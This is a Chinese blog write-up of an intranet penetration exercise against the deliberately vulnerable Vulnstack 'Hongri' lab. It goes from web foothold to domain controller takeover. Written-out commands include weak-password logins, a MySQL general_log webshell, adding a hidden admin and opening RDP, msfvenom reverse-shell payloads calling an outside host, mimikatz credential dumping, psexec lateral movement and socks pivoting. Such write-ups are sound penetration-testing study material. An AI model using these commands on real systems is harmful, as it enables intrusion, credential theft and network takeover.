内网渗透——红日靶机学习(一)

前言

开启内网学习,域渗透之路...

 

环境搭建

官方下载地址以及实验文档如下:
http://vulnstack.qiyuanxuetang.net/vuln/detail/2/


内网拓扑:

内网渗透——红日靶机学习(一)_第1张图片
我选用wmware ESXI进行内网环境搭建,内网搭建如下:

WIN7(web服务器):172.26.16.123/192.168.52.143
WIN2008(域控):192.168.52.138
WIN2003(域成员):192.168.52.141

 

渗透测试

一、外网打点

信息收集
Namp进行端口扫描: nmap -T4 -A 172.26.16.123

得知目标80端口开启,3306端口开放表示网站数据库是mysql,访问其站点

内网渗透——红日靶机学习(一)_第2张图片

页面403,因此尝试扫描一级目录,发现备份文件beifen.rar、以及phpinfo.php和phpmyadmin

内网渗透——红日靶机学习(一)_第3张图片

下载beifen.rar解压进行简单的源代码审阅,知道使用yxcms进行网站搭建,通过查看“升级日志.txt”,得知版本号1.2.1

内网渗透——红日靶机学习(一)_第4张图片

推测该网站二级目录下可能存在yxcms的网站

内网渗透——红日靶机学习(一)_第5张图片

弱口令登录
访问主站发现公告栏目泄露后台路径:/index.php?r=admin,且初始账号密码是弱口令,admin、123456

内网渗透——红日靶机学习(一)_第6张图片

内网渗透——红日靶机学习(一)_第7张图片

成功登陆到后台

内网渗透——红日靶机学习(一)_第8张图片

XSS存储型漏洞
通过查找功能点,发现网站主页有一个留言本功能,任意用户提交数据后需要管理员登录后台审核,由于没有对XSS进行防范,导致XSS攻击。因此,当我们没有那么幸运的得到管理员账号密码的时候,就可以用此XSS尝试获取管理员cookie,从而进入后台。

内网渗透——红日靶机学习(一)_第9张图片

内网渗透——红日靶机学习(一)_第10张图片

我们的目的是拿下整个内网,因此xss是远远不够的。通过我们拿到刚刚拿到yxcms版本号为1.2.1的信息,翻阅相关资料知道该版本还存在一处可getshell的高危漏洞。

前台模板代码任意修改拿shell

找到前台模板位置,可以看到这些php文件都是可以编辑的,且可以新建一个php文件

内网渗透——红日靶机学习(一)_第11张图片

新建一句个文件shell.php,写入一句话木马

内网渗透——红日靶机学习(一)_第12张图片

创建成功后我们通过刚刚拿到的网站源码,进行文件目录查找,最后找到木马生成后的位置如下:

内网渗透——红日靶机学习(一)_第13张图片

访问一句话木马http://172.26.16.123/yxcms/protected/apps/default/view/default/shell.php,没有问题。

内网渗透——红日靶机学习(一)_第14张图片
菜刀连接

内网渗透——红日靶机学习(一)_第15张图片

phpmyadmin弱口令拿shell
既然是靶机,我们就主要以学习为目的,多方面练习拿shell姿势。访问phpmyadmin页面,尝试弱口令root、root登录成功。

内网渗透——红日靶机学习(一)_第16张图片

内网渗透——红日靶机学习(一)_第17张图片

尝试使用outfile来进行一句话木马写入,失败

内网渗透——红日靶机学习(一)_第18张图片

尝试利用日志文件getshell,mysql 5.0版本以上会创建日志文件,修改日志的全局变量,也可以getshell。

查看日志状态:show variables like '%general%';

内网渗透——红日靶机学习(一)_第19张图片

开启日志文件:SET GLOBAL general_log='on'

内网渗透——红日靶机学习(一)_第20张图片

创建日志文件,并定义它的路径
SET GLOBAL general_log_file='C:/phpStudy/www/shell.php'

内网渗透——红日靶机学习(一)_第21张图片

写入一句话shell到日志文件
SELECT ''

内网渗透——红日靶机学习(一)_第22张图片

访问一句话木马,并菜刀连接

内网渗透——红日靶机学习(一)_第23张图片

内网渗透——红日靶机学习(一)_第24张图片

二、内网渗透

开启/连接3389

之前通过nmap 扫描发现,目标机子是系统未开启3389端口的,为了方便进一步内网渗透和转发,我们可以开启3389端口,并添加一个管理员权限账户。不过有一点要注意,如果原本的管理员用户在线,我们通过新建的管理员用户登陆的时候,是会挤掉原本的用户的,为了不惊动管理员,因此我们需要用webshell提前上传rdpwarp,它可以允许非服务器版本进行多个用户登录。
开启:RDPWInst.exe -i -s
关闭:RDPWInst.exe -u -k

利用CMD开启/连接3389
win7开启3389:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f


# 添加账户密码
net user admin Pass!@123 /add
# 给test账户添加为管理员权限
net localgroup administrators admin /add
#查询是否成功添加admin用户
net user admin

内网渗透——红日靶机学习(一)_第25张图片

添加防火墙规则:
netsh advfirewall firewall add rule name="Open 3389" dir=in action=allow protocol=TCP localport=3389

最后用win10自带的远程桌面连接工具连接:

内网渗透——红日靶机学习(一)_第26张图片

利用MSF开启/连接3389
如果上面的方法还是无法建立连接,那么我们可以先反弹一个shell到MSF。利用MSF开启rdp,从而开启3389远程连接服务。

生成控制端木马:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=4444 -f exe > shell.exe

MSF开启监听:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set Lhost  xx.xx.xx.xx
set lport  4444
Run

利用webshell上传到指定目录,然后运行它。建立会话后,利用MSF开启rdp:
run post/windows/manage/enable_rdp

接着利用远程桌面软件连接就可以了。

利用SakuraFrp反向连接3389
理论来说,是WIN7防火墙不允许别人对它自己内部建立连接,但是自己可以主动对别人建立连接。利用反向代理的思路,可以映射WIN7的3389端口到一个公网IP上,然后再去连接这个公网ip就可以绕过防火策略了。这里我常用的工具是:SakuraFrp
地址:https://openid.oxygen.moe/login

利用webshell上传frpc到文件目录,然后为frpc配置防火墙规则:
netsh advfirewall firewall add rule name="frpc" dir=in action=allow program="C:\pentest\frpc.exe" enable=yes

然后在webshell运行frpc,连接对应的ip:端口即可

内网渗透——红日靶机学习(一)_第27张图片

内网渗透——红日靶机学习(一)_第28张图片

简单内网信息收集

拿到webshell我们简单做一下信息收集,比如机子所在的内网是环境否存在域,机子是否出网等问题。因此我们先做内网的信息收集,收集我们需要的信息。

查看当前用户权限:whoami ,是管理员权限

内网渗透——红日靶机学习(一)_第29张图片

查看是否存在域:ipconfig /all ,主DNS后缀不为空,存在域:god.org

内网渗透——红日靶机学习(一)_第30张图片

net config workstation 可以直接查看域情况,本机名是stu1

内网渗透——红日靶机学习(一)_第31张图片

查看域控:net group "domain controllers" /domain ,域控为OWA

内网渗透——红日靶机学习(一)_第32张图片

查看域管:net group "domain admins" /domain ,域管为OWA

内网渗透——红日靶机学习(一)_第33张图片

现在知道内网是存在域的,接下目的是拿下域控和域管。也就是拿下OWA的机子。为了更高效我们选择使用CS或者MSF横向渗透。

利用CS横向渗透

生出监听:

内网渗透——红日靶机学习(一)_第34张图片

生成exe后门:

内网渗透——红日靶机学习(一)_第35张图片

内网渗透——红日靶机学习(一)_第36张图片

利用webshell上传exe后门到目标服务器上,并运行它到上线:

内网渗透——红日靶机学习(一)_第37张图片

进入beacon,执行:shell net view ,定位到域里另外两个在线的机子以及对应的ip

内网渗透——红日靶机学习(一)_第38张图片

提权到系统权限:getsystem

获取凭据,使用 dump hash模块导出散列值(至少具有administrators权限):hashdump

内网渗透——红日靶机学习(一)_第39张图片

使用logonpasswords模块,调用内置在CS中的mimikatz将内存中的lsass.exe进程保存的用户明文密码和散列导出:

内网渗透——红日靶机学习(一)_第40张图片

打开凭证信息模块,更为直观

内网渗透——红日靶机学习(一)_第41张图片

拿到Administrator.GOF.ORG凭证,也就是域管用户的凭证后,可以通过psexec登陆到OWA所在的域控。

内网渗透——红日靶机学习(一)_第42张图片

这里在已有的beacon上创建监听,用来作为跳板进行内网渗透

内网渗透——红日靶机学习(一)_第43张图片

选择Administrator.GOD.ORG凭证,这里用SMB监听器,会话选择SMB对应的机子即可。SMB Beacon 使用命名管道通过父级 Beacon 进行通讯,当两个 Beacons 链接后,子 Beacon 从父 Beacon 获取到任务并发送。因为链接的 Beacons 使用 Windows 命名管道进行通信,此流量封装在 SMB 协议中,所以 SMB Beacon 相对隐蔽,绕防火墙时可能发挥奇效。

内网渗透——红日靶机学习(一)_第44张图片

点击开始后,等待片刻,返回OWA beacon

内网渗透——红日靶机学习(一)_第45张图片

内网渗透——红日靶机学习(一)_第46张图片

能够使用psexec能迅速地获得域控主机的 beacon 是因为在本机中读取到了域管理员账号密码的hash。

进入OWA beacon后,已经是系统权限。可以重复之前的操作,拿下保存在本地的凭证。

内网渗透——红日靶机学习(一)_第47张图片

hashdump获取哈希值,logopasswords获取明文值

内网渗透——红日靶机学习(一)_第48张图片

内网渗透——红日靶机学习(一)_第49张图片

利用同样的原理和操作,我们可以拿下另外一台域成员的权限。

内网渗透——红日靶机学习(一)_第50张图片

到这里我们拿下域控权限以及凭证后,可以进行一波入侵痕迹清理,以及权限维持的操作。这里就暂时先这样吧。

利用MSF横向渗透

先生成控制端木马,然后利用webshell上传到目标服务器:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=39.108.118.128 LPORT=6666 -f raw >shell.php

MSF开启监听:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 39.108.118.128
set LPORT 6666
run

内网渗透——红日靶机学习(一)_第51张图片

webshell运行上传的shell.exe,返回seesion

内网渗透——红日靶机学习(一)_第52张图片

获得系统权限:getsystem

获得系统信息:sysinfo

内网渗透——红日靶机学习(一)_第53张图片

为了meterpreter session 稳定和隐蔽,连上session的时候将进程迁移到 explore.exe中。如果一开始选择的payload是32位的,也可以通过进程迁移的方法变成64位的。

查看进程:ps

内网渗透——红日靶机学习(一)_第54张图片

这里找到explore.exe进程是2748

进程迁移: migrate 2724

加载mimikatz 模块:load mimikatz(load kiwi)

内网渗透——红日靶机学习(一)_第55张图片

列举系统中的明文密码(系统权限):creds_all ,可拿到域管理员凭证

内网渗透——红日靶机学习(一)_第56张图片

进入shell,net view查看域内的其他机子:

内网渗透——红日靶机学习(一)_第57张图片

定位域控:net group "domain controllers" /domain

内网渗透——红日靶机学习(一)_第58张图片

定位域管:net group "domain admins" /domain

内网渗透——红日靶机学习(一)_第59张图片

Ping域名获真实ip:
ROOT-TVI862UBEH.god.org对应192.168.52.141

内网渗透——红日靶机学习(一)_第60张图片

OWA.god.org对应:192.168.52.138

内网渗透——红日靶机学习(一)_第61张图片

那我们现在打下OWA:192.168.52.138的机子就行了。


代理转发:
查看本机网卡:run get_local_subnets

内网渗透——红日靶机学习(一)_第62张图片

我们需要的192那个网段的,因此定义路由规则,配置路由:run autoroute -s 192.168.52.0/24

内网渗透——红日靶机学习(一)_第63张图片

查看路由是否配置成功:route print

内网渗透——红日靶机学习(一)_第64张图片

使用metasploit的auxiliary/server/socks_proxy代理模块,选择socks5:
use auxiliary/server/socks_proxy
set version 5
run

内网渗透——红日靶机学习(一)_第65张图片

检测以下自己是否成功开启服务:

内网渗透——红日靶机学习(一)_第66张图片

配置proxychains: vim /etc/proxychains.conf


先去掉#dynamic_chain的#

内网渗透——红日靶机学习(一)_第67张图片

然后在最后添加socks5 127.0.0.1 1080

内网渗透——红日靶机学习(一)_第68张图片

代理设置好后,我们就可以使用proxychains+nmap进行内网ip扫描了,这里扫描的域控的ip端口开放情况:proxychains nmap -T4 -F -Pn -sT -v 192.168.52.138

这里因为某些原因就不继续了。思路是nmap扫描后发现如果开启了 137 端口 ,也就是wmi 的话,由于之前我们通过mimikatz获取到了域管的登陆凭证了,因此可以直接利用 auxiliary/scanner/smb/impacket/wmiexec 来代码执行,就可以来开启3389登陆域控主机等等。如果开启了 139,445 端口,可以先尝试用 exploit/windows/smb/psexec 来登录,弹一个正向shell 。然后代码执行开启3389登陆域控主机等等。

END

还是很菜,天赋不足汗水来凑。期待下一次在真实环境中,能学之为我所用,加油吧。

 

 

 

 

你可能感兴趣的:(内网渗透)